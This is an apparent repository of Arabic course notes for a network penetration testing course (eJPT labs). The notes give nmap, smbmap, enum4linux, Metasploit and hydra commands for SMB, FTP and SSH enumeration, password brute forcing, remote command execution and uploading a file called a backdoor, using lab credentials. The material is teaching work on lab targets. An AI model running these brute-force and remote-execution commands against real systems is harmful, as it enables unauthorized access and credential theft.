├── README.md ├── network-PT-cyberhub-1.md ├── network-PT-cyberhub-2.md ├── network-PT-cyberhub-3.md ├── network-PT-cyberhub-4.md ├── network-PT-cyberhub-5.md ├── network-PT-cyberhub-6.md ├── network-PT-cyberhub-7.md ├── network-PT-cyberhub-8.md ├── network-PT-cyberhub-9.md ├── network-PT-cyberhub-PTP-1.md ├── network-PT-cyberhub-PTP-2.md ├── network-PT-cyberhub-PTP-3.md ├── network-PT-cyberhub-PTP-4.md ├── network-PT-cyberhub-PTP-5.md ├── network-PT-cyberhub-PTP-6.md ├── network-PT-cyberhub-PTP-7.md └── network-PT-cyberhub-PTP-8.md /README.md: -------------------------------------------------------------------------------- 1 | # Network PT 2 | [Network Penetration testing with Cyberhub.](https://cyberhub.sa/courses/119) 3 | 4 | 5 | • عن البرنامج 6 | هو برنامج دوري يوفر للطلاب فرص تدريبية في مجال الأمن السي، مع التركيز على تطوير مهاراتهم العملية وتأهيلهم للحصول على شهادات مهنية معتمدة, يشمل البرنامج دورات تدريبية متنوعة وتدريبات عملية في مختلف مجالات الأمن السيبراني. 7 | 8 | • عن الدورات المقدمة 9 | يهدف المعسكر إلى تعلم اختبار اختراق الشبكات وتقييم الثغرات الأمنية والعثور على نقاط الضعف في التطبيقات واختبار التنصت على الأجهزة المتصلة بنفس الشبكة المحلية بمجموعة متنوعة من الأدوات والتقنيات . 10 | يؤهل المعسكر إلى الحصول على الشهادتين الاحترافية eJPTv2 , eCPPTv2 المقدمة من شركة eLearnsecurity 11 | 12 | • عن مقدم الدورة 13 | 14 | [نواف الرويلي](https://twitter.com/0xNawaF1) 15 | طالب شغوف في الامن السيبراني واكتشاف الثغرات و مسابقات CTF حاصل على عدة CVES و عدة مراكز في مسابقاتCTF و على عدد من الشهادات الاحترافيه في مجال الامن السيبراني ومدرب في مجال الامن السيبراني لدى جامعة الملك سعود وجامعة الامام فيصل 16 | 17 | • الفئة المستهدفة 18 | طلاب مبادرة سايبرهَب بشرط عدم حصولهم على التدريب المقدم مسبقًا 19 | الأولوية للأعلى نقاط في جدول الترتيب 20 | 21 | 22 | Follow me on 23 | --------------- 24 | Twitter: [Click here.](https://twitter.com/s4cript) 25 | Linkedin: [Click here.](https://www.linkedin.com/in/fahad-k-al-obaidallah-891419255/) 26 | -------------------------------------------------------------------------------- /network-PT-cyberhub-1.md: -------------------------------------------------------------------------------- 1 | Session 1 | Day1 2 | • introduction to the course | 3 | -----------------------------| 4 | 5 | للتذكير قسائم الاختبار تُمنح للطلاب الأعلى تقييم وسيتم سحب من المشاركين في هاشتاق #سايبرهب 6 | 7 | شروط الحصول على فاوتشر: 8 | 9 | حضور جميع الجلسات المباشرة مع المدرب 10 | التفاعل والمشاركة مع المدرب 11 | حل اختبارات التقييم التي يقيمها المدرب 12 | متابعة مقاطع الدورات في INE وحل جميع اللابات و الكويزات 13 | 14 | ممكن CTF بعد الدورة 15 | 16 | العدد 20 فاوتشر 17 | وفيه سحب من هاشتاق سايبرهب 18 | اهم شي ماعندك غياب 19 | 20 | CTF راح يكون نفس مستوى الكورس 21 | اون لاين الCTF 22 | 23 | 24 | ----------------------------------- 25 | كورس ejpt راح نشرح لكن الاساسي انه نحل فقط اللابات 26 | 27 | راح نبداء باول سكشن 28 | Assessment Methodologies : inromation gathering 29 | 30 | اللابات نحلها مع بعض 31 | طبعا بعض اللابات مكرره يعني تحصلها في PTS and PTP 32 | ف اللابات المكرره ماراح نحلها مره ثانيه فقط مره وحده 33 | 34 | ------------------------------------ 35 | Passive | active , information gathering 36 | 37 | Passive : without interact with target 38 | Active : interact with target 39 | 40 | nmap : كانو يستخدمونها لحل المشاكل على الشبكات 41 | 42 | اول لاب راح نحله بيكون عن الـ nmap 43 | 44 | ------------------------------------ 45 | طبعا الان نبداء اللاب 46 | بتحصل النوت باد مفتوحه او بسطح المكتب فيه ايبي التارقت 47 | 48 | المطلوب نسوي سكان على التارقت 49 | باستخدام nmap tool 50 | 51 | nmap 52 | وظيفتها تفحص لك الشبكة مب لازم يكون ايبي محدد 53 | 54 | [nmap --help] to open documentation for this utility 55 | [man nmap] manullay 56 | طبعا راح يعتبر 57 | Active scan 58 | لانه بنكون على اتصال مباشر مع التارقت 59 | [nmap $ip_target] 'command to do basic scan' 60 | 61 | طبعا عندنا التارقت بنفحصه 62 | [10.6.17.68] 63 | ويختلف كل شخص له تارقت معين 64 | [cat /root/desktop/target] 65 | 66 | طبعا فيه فايروول ويسوي بلوك لل ICMP requests 67 | فبنستخدم -Pn عشان مايرسل البنق 68 | [nmap -Pn 10.6.17.68] 69 | 70 | الان نبي نحدد ايش اصدار الخدمة الي شغاله على البورتات 71 | [nmap -sV -Pn 10.6.17.68] 72 | 73 | الان حصلنا كل الخدمات الموجوده مع اصداراتها 74 | 75 | نقدر نحدد بورتات معينه او كامل البورتات 76 | [nmap -sV -Pn -p 80,135,3389 10.6.17.68] هنا نحدد بورتات معينه 77 | [nmap -sV -Pn -p- 10.6.17.68] هنا نفحص كل البورتات 78 | 79 | طبعا فيه ادوات بديله لل nmap 80 | ف عندنا مثل rustscan اسرع بكثير 81 | 82 | -------------------------------------------------------------- 83 | Assessment Methodologies: Footprinting & Scanning 84 | 85 | راح ناخذ لاب من هنا اسمه 86 | 'Scan The Server 1' 87 | 88 | لو ماعطانا التارقت راح نفحص كامل الشبكة 89 | [ip a] عشان احصل رينج الشبكة 90 | [nmap -sV -Pn 192.7.218.2/24 -v] 91 | - عشان افحص اشهر 1000 بورت 92 | - (-v) verbose اذا كان الفحص بيطول وتبي تشوف النتيجة مباشره لكل خطوه 93 | 94 | نفحص كل البورتات عشان ماطلعنا لنا شي 95 | [nmap -sV -Pn -p- 192.7.218.2/24] 96 | 97 | ---------------------------------------------------------------- 98 | Windows Recon: SMB Nmap Scripts 99 | 100 | هذي الخدمة اسمها 101 | network file sharing protocol 102 | يعني فقط يكون بيننا اتصال وراح اقدر ارسلك واستقبل منك ملفات 103 | 104 | طبعا عنده وظيفه معينه والي هي مشاركة الملفات 105 | تحفظ ملفات و تقرا ملفات وترسل ملفات وتستقبل ملفات 106 | 107 | طبعا نسوي ping 108 | عشان نشوف التارقت هل هو حي او لا 109 | [ping -c 3 10.6.23.230] 110 | -c عشان تحدد عدد الريكوستات الي يرسلها 111 | 112 | TTL : 113 | 64 = linux 114 | 125 = windows 115 | واعلى من 125 مثلا 200 وشوي احيانا يكون راوتر او فاير ول 116 | 117 | لكن مو شي دقيق. 118 | 119 | 120 | SMB 121 | شغال على بورت 445 122 | 123 | --script 124 | عندنا هذا الargument 125 | يجي سكربتات مع نفس اداة nmap 126 | وتقدر تسوي سكربتاتك الخاصة اكيد وتظيفها بالمسار حق السكربتات الي داخل nmap 127 | 128 | script to list the supported protocols and dialects of an SMB serve. 129 | [nmap -p445 --script smb-protocols 10.6.23.230] نحدد انه يفحص بورت معين وبسكربت معين 130 | 131 | الان بنجرب سكربت اخر 132 | وظيفته يعلمك السيشن الموجوده او اليوزر الموجود حاليا متصل 133 | [nmap -p445 --script smb-sessions 10.6.23.230] 134 | 135 | وهذا السكربت بيطلع لك المجلدات الموجوده والصلاحيات لكل مجلد 136 | [nmap -p445 --script smb-enum-shares 10.6.23.230] 137 | 138 | الحين عشان نشوف ايش اليوزرز الموجودين في الويندوز 139 | Enumerate the windows users on a target machine 140 | [nmap -p445 --script smb-enum-users --script-args smbusername=administrator,smbpassword=smbserver_771 10.6.23.230] 141 | 142 | هذا عشان نعرف من حاول يدخل الملف يعطيك كذا نظره على الملفات او المجلدات الموجوده كم مره احد حاول يدخل وكم مره واحد حاول يدخل وفشل الخ.. 143 | السكربتات كثيره مره لكن هذي ابرز السكربتات بما يخص بروتوكول مشاركة الملفات SMB 144 | 145 | [nmap -p445 --script smb-server-stats --script-args smbusername=administrator,smbpassword=smbserver_771 10.6.23.230] 146 | 147 | هذا سكربت يعطينا حاله كامله عن البورت هذا 148 | وكذالك الباسورد يعطيك اذا له شروط معينه و يعطيك اليوزرز يختصر عليك يعني الي السكربتات الي فوق بسكربت واحد 149 | Enumerating available domains on a target machine 150 | [nmap -p445 --script smb-enum-domains --script-args smbusername=administrator,smbpassword=smbserver_771 10.6.23.230] 151 | 152 | وهذا سكربت مخصص لفحص الخدمات الي تجيك اذا دخلت ال SMB 153 | ف يستعرض لك كل الخدمات الي تكون معك اذا كنت في اتصال مع SMB 154 | [nmap -p445 --script smb-enum-services --script-args smbusername=administrator,smbpassword=smbserver_771 10.6.23.230] 155 | 156 | وهذا سكربت يستخدم عشان ينفذ لك امر ls 157 | داخل المجلدات الي حصلتها ويعطيك الملفات الي بداخل المجلد 158 | [nmap -p445 --script smb-enum-shares,smb-ls --script-args smbusername=administrator,smbpassword=smbserver_771 10.6.23.230] 159 | 160 | الان عرفنا وش يدعم هذا البروتوكول والاصدار 161 | وعرفنا اليوزر المتصلين مباشرة وعرفنا المجلدات وصلاحيات كل مجلد وش يقدر يسوي مثلا يقرا ويكتب او فقط يكتب الخ.. 162 | و اخيرا حصلنا اليوزرز الموجودين على الويندوز 163 | 164 | طبعنا نفذنا السكربتات الي فوق يعتبر هذا اشهر سكربتات بروتوكول SMB 165 | فيه كثير سكربتات اخرى ف Google it :) 166 | 167 | 168 | HomeWork#1 169 | من اول الدورة الى لاب scan the server 1 170 | مطلوبه الفديوهات واللابات وكذالك الكويزات 171 | 172 | 173 | 174 | Tw: @s4cript 175 | Tw Lecturer: @0xNawaF1 176 | Tw by: @cyberhub 177 | -------------------------------------------------------------------------------- /network-PT-cyberhub-2.md: -------------------------------------------------------------------------------- 1 | Session 2 (ejpt) | Day2 2 | • Assessment Methodologies | 3 | -----------------------------| 4 | 5 | راح نبدا باللاب الي اسمه 6 | 7 | 8 | Windows Recon: SMB Discover and Mount | 9 | ---------------------------------------| 10 | 11 | وراح نشوف كيف نستعرض المجلدات ونفحصها باذن الله 12 | اللاب راح يكون ويندوز سيرفر 13 | راح يكون فيه شبكة او نفس الشبكة فيها اجهزة فيها smb protocol 14 | بنحاول نشبك فيها كـ user عادي 15 | 16 | بداية راح نفحص كامل الشبكة 17 | ipconfig عشان نشوف ايبي الشبكة 18 | 19 | Network ID : 10.6.17.0/20 20 | 21 | ف راح نفحص الان باداة الـ nmap 22 | ف راح يفحص كامل الشبكة وكل الايبيات الي بهذا الرينج 23 | [nmap -10.6.17.0/20 --open] 24 | 25 | طبعا --open 26 | عشان نحصل الهوستات وكل هوست ايش البورتات المفتوحه على كل هوست 27 | 28 | حصلنا هوستين طبعا 29 | 10.6.19.147 30 | 10.6.17.91 31 | وحصلنا البورتات المفتوحه لكل هوست 32 | 33 | طبعا الويندوز عندنا MAP network drive 34 | نقدر نتصل عن طريقه بالـ SMB 35 | folder : \\$ip_target 36 | Windows: \ 37 | Linux: / 38 | ف راح يكون في حالتنا الاتصال على المجلد هذا 39 | \\10.6.19.147 40 | 41 | ف عطانا الان access على الشير الان 42 | 43 | الان نقدر نستعرض المجلدات واضاف على جهازنا كهارديسك بس انه بجهاز اخر ف حاليا كانك دخلت الملفات الي ظاهره لك بعد الاتصال بالشير بجهاز الضحيه 44 | 45 | وانتهى هذا اللاب وعرفنا كيف نحدد الهوستات مع البورتات المفتوحه على كل هوست حصلناه باداة nmap 46 | وكذالك عرفنا كيف نتصل بالشير على الـ windows server 47 | 48 | -------------------------- 49 | راح نبداء باللاب الثاني | 50 | [Windows Recon: SMBMap] | 51 | -------------------------- 52 | اللاب هذا معطينا ايبي راح نفحصه بالـ nmap 53 | [nmap -sV 10.6.19.82] 54 | 55 | طبعا الان حصلنا ان الـ SMB open 56 | راح نفحص البورت باداة اسمها SMBMap 57 | هي نفس الويندوزMAP network drive 58 | راح يسمح لنا نتصفح المجلدات الخ .. 59 | المميز فيها انه تسمح لك تسجل باليوزر الديفلوت الي اسمه guest 60 | [smbmap -u guest -p "" -d . -H 10.6.19.82] 61 | 62 | بما ان عندنا اليوزر والباسورد باللاب راح نجرب نسجل فيهم ونشوف ايش الفرق 63 | [smbmap -u administrator -p smbserver_771 -d . -H 10.6.19.82] 64 | نلاحظ انها تغيرت الصلاحيات وزادت المجلدات الي عندنا صلاحيه فيها لانه الان مسجلين بيوزر ادمن وليس كقست يوزر 65 | 66 | برضو توفر لك الاداة هذي انه تسوي اوامر معينه باستخدام تاق -x 67 | مثلا 68 | [smbmap -u administrator -p smbserver_771 -d . -H 10.6.19.82 -x "dir"] 69 | طبعا استخدمنا امر dir 70 | عشان قاعدين نتعامل مع ويندوز ف التارقت حقنا الان شغال على ويندوز واستعرضنا ايش موجود داخل كل مجلد 71 | 72 | حصلنا flag.txt وهذا هو المطلوب 73 | كيف بنقرا الملف ؟ 74 | [smbmap -u administrator -p smbserver_771 -d . -H 10.6.19.82 -x "type flag.txt"] 75 | وبكذا قدرنا نقراه وهذي احد مميزات الاداة 76 | 77 | بعد نقدر نرفع ملفات الى جهاز التارقت عشان نفتح لنا backdoor 78 | ف نجرب نسوي ملف فاضي ونجرب نرفعه 79 | [touch backdoor] لانشاء الملف على نظام لينكس 80 | طبعا نحتاج نعطيه مسار كامل الملف من الروت الى الملف 81 | وبالاضافة نحتاج نعطيه الوجهه وين نبي نحفظه 82 | ولابد نختار الوجهة الصحيحه بحيث يكون عندنا صلاحية الكتابة على المجلد المختار نرفع عليه 83 | [smbmap -u administrator -p smbserver_771 -d . -H 10.6.19.82 --upload '/root/backdoor' 'C$\backdoor] 84 | (لابد نكتب نبي نفحفظه وين بالاضافة الى وش نبي نسمي الملف على جهاز الضحيه) 85 | 86 | تقدر طبعا تنزل الملف من المجلد الي عليه الشير 87 | بس هذا عشانه ملف نصي وفقط نحتاج نقراه ماحملناه 88 | [smbmap -u administrator -p smbserver_771 -d . -H 10.6.19.82 --download "C$\flag.txt"] 89 | الان نزلنا الملف على جهازنا الشخصي نقدر نقراه او نعدله ونرفعه من جديد 90 | 91 | طبعا لابد يكون عندك صلاحيات معينه عشان تقدر تحمل او ترفع على ال SMB server 92 | نحتاج يكون معنا READ , WRITE permissions 93 | -------------------------- 94 | راح نبداء باللاب الثالث | 95 | [Samba Recon: Basics] | 96 | -------------------------- 97 | 98 | اللاب هذا راح يكون عن الـ Samba protocol 99 | هو نفسه SMB 100 | لكن على اللينكس يختلف المسمى 101 | 102 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 103 | [nmap -sV 192.132.114.0/24] 104 | 105 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 106 | [target: 192.132.114.3] 107 | 108 | وحصلنا الـ Samba 109 | طبعا فيه nmap script 110 | يعطيك الاصدار تبع الـ samba 111 | [nmap -sV --script smb-os-discovery -p 445 192.132.114.3] 112 | طبعا اخذنا ايش يعني سكربت وكيف تحصلهم في المحاضره الاولى 113 | طبعا الفائدة من معرفة الاصدار 114 | - search about CVEs 115 | - search about default credentials 116 | 117 | طبعا فيه اداة ثانيه بنستخدمها الي هي nmblookup 118 | [nmblookup -A 192.132.114.3] 119 | نفس فكرة سكربتات ال nmap 120 | لكن اداة ثانيه عشان ممكن ماتحصلها اساسا في نظام تشغيل اخر ف يكون فيه بديل 121 | 122 | طبعا هذي اداة ثالثه كذالك نفس المخرجات 123 | [smbclient -L 192.132.114.3 -N] 124 | -N = no username,password ف بيستخدم الديفولت الي هو guest 125 | 126 | اخر اداة نفس فكرة smbclient 127 | [rpcclient -U "" 192.132.114.3 -N] 128 | -U = username طبعا خليناه فاضي ف بيسجل كـ guset 129 | 130 | طبعا الـ guest مش دائما راح تشوفه موجود 131 | يعني بالحياة الواقعيه والسيناريو الحقيقي ماراح تحصل الخطاء هذا 132 | او نادر تحصله اصلا 133 | 134 | --- 135 | راح نبداء باللاب الرابع 136 | [Samba Recon: Basics||] | 137 | -------------------------- 138 | طبعا الان بنستخدم اداة تسهل علينا كل الي قبل نفس وظيفة الادوات السابقة والسكربتات 139 | كلها مجمعينها بهذي الادة الي اسمها enum4linux 140 | 141 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 142 | [nmap 192.134.22.0/24 --open] 143 | 144 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 145 | [target: 192.134.122.3] 146 | 147 | راح نجرب نستخدم اولا اداة rpcclient 148 | [rpcclient -U "" 192.134.122.3 -N] 149 | طبعا هذا الي وقفنا عليه باللاب السابق 150 | طبعا الان راح نجرب نستخدم الاوامر المتاحه في الاداة 151 | عشان نشوف كل الاوامر نكتب 152 | [help] 153 | 154 | راح نجرب اول امر بعد ماتتصل بالشير راح تكتب هذا الامر 155 | [srvinfo] راح يعطينا معلومات عن السيرفر 156 | 157 | الان نبدا بالاداة العظيمة enum4linux 158 | 159 | [enum4linux -o 192.134.122.3] 160 | هذا الامر عشان يعطينا معلومات عن نظام التشغيل 161 | 162 | الان راح نرجع نستخدم smbclient 163 | [smbclient -L 192.134.122.3 -N] 164 | الان نحصل المجلدات الي بالسيرفر 165 | 166 | طبعا فيه طريقة اخرى الي هي عن طريق metasploit framework 167 | [msfconsole] عشان نفتح الاداة او الفريم وورك 168 | 169 | طبعا اذا حبينا ندخل موديل معين نستخدم امر 170 | [use] متبوع بمسار الموديول 171 | 172 | كذالك نقدر نبحث عن الموديول عن طريق امر 173 | [search] متبوع بالاسم 174 | 175 | طبعا راح نستخدم موديول معين الي هو 176 | [use auxiliary/scanner/smb/smb2] 177 | عشان نشوف هل هو يستخدم الاصدار الثاني من ال smb 178 | 179 | طبعا مافي غير اصدارين للـ SMB 1,2 180 | ففي حال الموديل قال انه مايستخدم الاصدار الثاني راح نعرف انه الاصدار الاول 181 | 182 | فيه عندنا متغييرات معينه لابد نحط لها قيم معينه 183 | ف عشان نشوف المتغيرات بعد ماندخل الموديول بالامر السابق نستخدم هذا الامر 184 | [show options] 185 | 186 | طبعا الام المطلوب زي ماهو واضح لنا انه فقط الـ RHOST 187 | وهذا يعني ايبي الضحية 188 | نستخدم الامر هذا عشان نسند قيمه للمتغيرات 189 | [set] 190 | 191 | ففي حالتنا بنحتاج نضيف القيمة حقتنا الى المتغير RHOST 192 | [set RHOST 192.134.122.3] 193 | بعدها نشغله باحد الامرين 194 | [exploit] or [run] 195 | 196 | طبعا الفريم وورك هذا مقارب جدا لسكربتات حقت nmap 197 | فبتحصل كثير موديول تستخدمها بنفس الطريقه 198 | 199 | بنجرب معكم الموديول هذا 200 | وعشان شرحنا مسبقا الاوامر راح اكتب الاوامر مباشره بدون شرح لها لانه نفس الشرح فقط راح اشرح وظيفة الموديول 201 | 202 | [use auxiliary/scanner/smb/smb_enumusers] 203 | هذا طبعا عشان يطلع اليوزرات الموجوده فبيسهل عليك طريق الـ brute force 204 | [set RHOST 192.134.122.3] 205 | [exploit] or [run] 206 | والان نحصل اليوزر طلعها لنا 207 | 208 | وكذالك اداة enum4linux 209 | عندها نفس الوظيفة 210 | [enum4linux -U 192.134.122.3] 211 | ونلاحظ انه عطانا اليوزرات الموجوده نفس metasploit framework 212 | 213 | وكذالك اداة rpcclient 214 | راح تعطيك نفس النتيجة 215 | [rpcclient -U "" -N 192.134.122.3] 216 | [enumdomusers] هذا الامر عشان يعطيك اليوزرات 217 | [lookupnames admin] هذا الامر عشان يحصلك التوكن تبع الادمن او الـ SID 218 | 219 | --- 220 | راح نبداء باللاب الخامس 221 | [Samba Recon: Basics|||] 222 | --------------------------| 223 | 224 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 225 | [nmap 192.17.115.0/24 --open] 226 | 227 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 228 | [target: 192.17.115.3] 229 | 230 | الان بنشوف المجلدات على ال SMB server 231 | بنستخدم اداة enum4linux 232 | [enum4linux -S 192.17.115.3] 233 | 234 | الان نبي نشوف القروبات 235 | [enum4linux -G 192.17.115.3] 236 | 237 | طبعا اكثر شي ممكن نستفيد منه اليوزرات ونسوي بروت فورس او تخمين على اليوزر لكن القروب مش مره مفيد لك كمختبر اختراق 238 | 239 | الان بنشوف الـ smbclient 240 | نبي ندخل مجلد معين اسمه public 241 | فعشان معنا null session 242 | نقدر ندخله لو مافي السيشن هذي بنحتاج اليوزر والباسورد 243 | 244 | [smbclient //192.17.115.3/public] 245 | لاحظ استخدمنا / 246 | لانه قاعدين نتعامل مع لينكس ف الان دخلنا المجلد ارفقنا اسمه بعد الايبي وفصلنا بالسلاش 247 | طبعا نكتب help عشان نشوف الاوامر الي عندنا 248 | [help] 249 | نجرب الاوامر التاليه 250 | [ls] عشان يعرض لنا الملفات او ايش محتى المجلد هذا 251 | [cd] راح يغير مكاننا لمجلد اخر مثلا نبي نروح لمجلد الـ secret 252 | [cd secret] 253 | الان حصلنا flag 254 | وهذا المطلوب انه نقرا هذا الملف طبعا اداة الـ smbclient server 255 | مافيه امر cat 256 | ف ماراح نقدر نقراه ف نحتاج نحمله راح نستخدم get 257 | [get flag] 258 | الان اخذناه على جهازنا نقدر نقراه 259 | [cat flag] 260 | 261 | --------------------------| 262 | راح نبداء باللاب السادس | 263 | [Samba Recon: Dictionary Attack] 264 | --------------------------| 265 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 266 | [nmap 192.218.190.0/24 --open] 267 | 268 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 269 | [target: 192.218.190.3] 270 | 271 | 272 | طبعا اللاب هذا مامعنا الباسورد فقط اليوزر ف بنجرب موديولز مع بعض 273 | [use auxiliary/scanner/smb/smb_login] 274 | هذا الموديول عشان نسوي broute force 275 | ف نشوف ايش الاشياء المطلوبه 276 | [show options] 277 | [set rhost 192.218.190.3] نحدد ايبي الضحيه 278 | [set SMBuser jane] طبعا اليوز معنا من اللاب نفسه 279 | [set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt] هنا نحدد الملف الي فيه الباسوردات الي نبي نجربها على اليوزر ف راح يجرب لنا كل باسورد داخل هذا الملف على اليوزر الي حددناه 280 | [exploit] or [run] 281 | والان راح يبدا يجرب واحد واحد لين يحصله لنا 282 | نشوف الان انه حصل لنا الباسورد 283 | [password it's: abc123 ] 284 | 285 | الان بنجرب نفس الطريقة بس باداة ثانيه التنين hydra 286 | 287 | hydar اداة لتخمين او انها تجرب حسب المعطيات 288 | ف مثلا تعطيها يوزر وتخمن الباسورد او العكس او كلهم 289 | [hydra -l admin -P /usr/share/wordlists/metasploit/unix_passwords.txt 192.218.190.3 smb] 290 | [-l] عشان نحدد اليوزر 291 | [-L] عشان نحدد الليسته حقت اليوزرات 292 | [-p] عشان نحدد له باسورد 293 | [-P] عشان نحدد الليسته حقت الباسوردات 294 | [smb] الي هي اخر شي عشان تحدد له ايش الخدمة الي تبي يسوي عليه التخمين 295 | ف لازم ننتبه انه يفرق الكبتل والسمول في الاوبشن حقت الاداة 296 | [password it's: password1 ] 297 | طبعا الان مانقدر نسجل بالـ null session 298 | راح نستهدم اداة smbmap 299 | [smbmap -H 192.218.190.3 -u admin -p password1] 300 | والان عطانا ايش المجلدات الموجوده 301 | 302 | بنجرب بيوزر jane 303 | باستخدام اداة smbclient 304 | [smbclient -L 192.218.190.3 -U jane] 305 | بيطلب الباسورد نعطيه 306 | [abc123] 307 | الان شفنا المجلدات وصلاحيات jane على كل مجلد 308 | 309 | الان بنشوف وش موجود داخل المجلد حق jane 310 | باستخدام اداة smbclient 311 | [smbclient //192.218.190.3/jane -U jane] 312 | بعدها نعطيه الباسورد 313 | [abc123] 314 | وراح نحصل الفلاق 315 | طبعا فيه تريك بعد ماتدخل عشان تقرا الفلاق ف اكتشفوا التريك 316 | 317 | --------------------------| 318 | راح نبداء باللاب السابع | 319 | [ProFTP Recon: Basics] | 320 | --------------------------| 321 | طبعا الان بنواجه نفس الحاله الي واجهناها مع smb 322 | انه يكون عندنا null session 323 | 324 | وتسمى بالبروتوكول FTP 325 | anonymous login 326 | ف راح تقدر تسجل بيوزر وباسورد معروفه الي هي تجي دايركت يعني مع البروتوكول 327 | ويشتغل على بورت 21 328 | طبعا يعتبر misconfiguration 329 | 330 | راح نسوي نفس الطريقة 331 | نفحص الشبكة ونشوف ايش الهوست الي شغال عليه FTP service 332 | [nmap -sV 192.216.65.3] 333 | بعدها راح نحصل ان البورت 21 مفتوح 334 | بنجرب معكم هايدرا لنخمن الباسورد واليوزر 335 | [hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.216.65.3 -t 4 ftp] 336 | [-t 4] نحدد الـ thrat عشان يكون اسرع 337 | ونشوف انه حصلنا لنا يوزرين بسرعه ف هذت يحكي لك قوة هالاداة 338 | فيه اكثر لو تنتظر بتحصل 7 339 | 340 | طبعا كيف نشبك على الـ FTP 341 | بهذي الطريقه 342 | [ftp 192.216.65.3] 343 | بيطلب منك اليوزر تعطيه اليوزر مثلا مطلوب منا 344 | username: auditor 345 | password: chocolate 346 | الان سجلنا نستعرض الملفات بنحصل 347 | [secret.txt] 348 | طبعا مافي هنا لا cat , type 349 | ف بنستخدم get 350 | [get secret.txt] 351 | والان نقدر نقراه 352 | 353 | اعتذر على الاطالة 354 | 355 | @s4cript | @cyberhub | @0xNawaF1 356 | -------------------------------------------------------------------------------- /network-PT-cyberhub-3.md: -------------------------------------------------------------------------------- 1 | # Session 3 (ejpt) - Day 3 2 | ## Assessment Methodologies part 2 3 | 4 | طبعا باذن الله راح نكمل محاضرة امس من عند اخر شي وقفنا عنده 5 | وهو بروتوكول FTP 6 | بس باقي لنا لاب واحد من الـ FTP 7 | وراح نشوف اليوم باذن الله البروتوكولات التاليه 8 | SSH , HTTP , SQL 9 | وبعدها راح ندخل على قسم جديد لو سمح لنا الوقت باذن الله 10 | 11 | 12 | -------------------------------------------------------------------------------------------- 13 | راح نبداء باللاب الاول الي هو 14 | ### VSFTPD Recon: Basics 15 | 16 | 17 | طبعا هذا اللاب نفس فكرة الـ Null session 18 | في بروتوكول SMB 19 | 20 | طبعا البورت حق بروتوكول FTP - 21 21 | 22 | راح تقدر تسجل دخول بيوزر وباسورد معينه تجي by default 23 | 24 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 25 | [nmap -sV 192.163.181.0/24] 26 | 27 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 28 | [target: 192.163.181.3] 29 | 30 | طبعا لان نلاحظ ان الاصدار حق الخدمة vsftpd 3.0.3 31 | طبعا يعتبر فيه misconfigruation 32 | default usernamer: anonymous and the defalut password:فاضي 33 | 34 | عشان نتاكد من وجود الثغره او الخطاء هذا بنفذ هذا السكربت 35 | [nmap --script ftp-anon 192.163.181.3] 36 | 37 | طبعا الي قاعد يسويه السكربت انه يسجل دخول باليوزر الي فوق ويخلي الباسورد فاضي اذا دخل راح يعطيك الملفات واذا مادخل يعني تم معالجة هذا الخطاء وتم الغاء التسجيل بهذا اليوزر 38 | 39 | طبعا اهم امرين نقدر نستخدمخم بعد ماندخل هم الـ get , put 40 | عشان نحمل من السيرفر ونرفع لسيرفر 41 | 42 | طبعا فيه ثغرات اخرى راح ناخذها قدام 43 | 44 | طبعا دائما هذي البروتوكولات مثل SSH , FTP etc... 45 | نهتم بهذي الاشياء اليوزر والباسورد البروت فورس الخ 46 | -------------------------------------------------------------------------------------------- 47 | 48 | راح نبداء باللاب الثاني الي هو 49 | ### SSH Recon: Basic 50 | 51 | 52 | 53 | طبعا الـ SSH 54 | هو انك تتصل بسيرفر عن بعد فيعطيك شل عليه 55 | 56 | والبورت حقه هو 22 57 | 58 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 59 | [nmap -sV 192.142.86.0/24] 60 | 61 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 62 | [target: 192.142.86.3] 63 | 64 | طبعا طلع لنا الان ان البورت مفتوح وظهر لنا اصدار الخدمة 65 | 66 | طبعا عشان تشبك بالـ SSH 67 | فيه عندك اكثر من طريقه 68 | - SSH utility 69 | - nc utility 70 | 71 | طبعا راح نجرب نسجل بيوزر root 72 | هو الي غالبا يكون موجود بس خل نشوف هل عليه باسورد او لا 73 | [ssh root@192.142.86.3] 74 | زي مانشوف طلب مننا باسورد 75 | الان لازم نسوي brute force 76 | عشان نحصل الباسورد والادوات كثير زي ماشرحنا 77 | 78 | طبعا البروتوكول هذا يستخدم اكثر من طريقة لتحقق 79 | - private key 80 | - password 81 | 82 | فراح نستخدم سكربت عشان نشوف ايش طريقة التشفير الموجوده 83 | [nmap --script ssh2-enum-algos 192.142.86.3] 84 | 85 | 86 | طبعا عندنا شي ثاني بنجربه الي هو باللاب معطينا يوزرين 87 | student , admin 88 | 89 | طبعا يقول انه فيه يوزر تقدر تسجل فيه بدون باسورد راح نجرب طريقة بسكربت 90 | [nmaps --script shh-auth-methods --script-args="ssh.user=student" 192.142.86.3] 91 | وراح يعطينا هل نقدر نسجل بدون برايفت كي و بدون باسورد او لا ف نجرب نسجل الان لانه قال انه يدعم الـ none_auth 92 | [ssh student@192.142.86.3] 93 | نسوي امر ls 94 | وحصلنا الفلاق الان الاول الي بيوزر student 95 | 96 | طبعا لو بغينا نسوي امر معين بنحتاج اول شي اليوزر وهو معطينا اياه من اللاب نفسه 97 | student 98 | طبعا مافيه باسورد فقط اليوزر 99 | 100 | فيه هذا السكربت ينفذ لك الاوامر بدون ماتشبك على الـ SSH 101 | [nmap --script=ssh-run --script-args="ssh-run.cmd=cat /home/student/FLAG , ssh-run.username=student,ssh-run.password=" 192.142.86.3] 102 | طبعا الان قرانا الملف الي نبيه لكن الاسرع و الافضل انك تسجل دخول باليوزر والباسورد لو مطلوب وتفحص كامل النظام الي داخل عليه 103 | لانه بالحياة الواقعيه 